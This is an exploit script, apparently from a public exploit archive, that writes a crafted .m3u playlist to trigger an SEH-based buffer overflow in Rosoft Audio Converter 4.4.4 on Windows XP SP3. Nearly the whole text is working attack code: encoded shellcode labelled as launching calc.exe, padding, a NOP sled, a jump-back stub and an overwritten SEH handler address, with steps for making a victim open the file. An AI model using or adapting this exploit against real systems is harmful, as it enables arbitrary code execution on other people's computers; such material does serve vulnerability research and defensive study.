Rosoft Audio Converter 4.4.4 – Local Buffer Overflow
# Exploit Title: Rosoft Audio Converter 4.4.4 Buffer Overflow # Date: June 14, 2010 # Author: Blake # Software Link: http://www.rosoftengineering.com/freeware/RosoftAudioConverterFree.aspx # Version: 4.4.4 # Tested on: Windows XP SP3 / Windows 7 Home (change shellcode for Windows 7) # Instructions: create malicious file, open in audio converter, select save print "\n============================" print "Rosoft Audio Converter 4.4.4" print " Written by Blake " print " Tested on Windows XP SP3 " print "============================\n" # calc.exe sc =( "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44" "\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47" "\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38" "\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48" "\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c" "\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58" "\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44" "\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38" "\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33" "\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47" "\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a" "\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b" "\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53" "\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57" "\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39" "\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46" "\x4e\x46\x43\x36\x42\x50\x5a") buffer = "\x41" * (4083 - len(sc)) nops = "\x90" * 20 near_jmp = "\xe8\xf4\xef\xff\xff" # jmp back next_seh = "\xeb\xf9\x90\x90" seh = "\xe7\xb3\x49\x00" #Found pop eax - pop ebx - ret at 0x0049B3E7 [rosoftaudioconverterfree.exe] junk = "\xCC" * 25000 print "[+] Creating malicious .m3u file" try: file = open("blake.m3u","w") file.write(buffer + nops + sc + near_jmp + next_seh + seh + junk) file.close() print "[+] File created" except: print "[x] Could not create file" raw_input("\nPress any key to exit...\n") |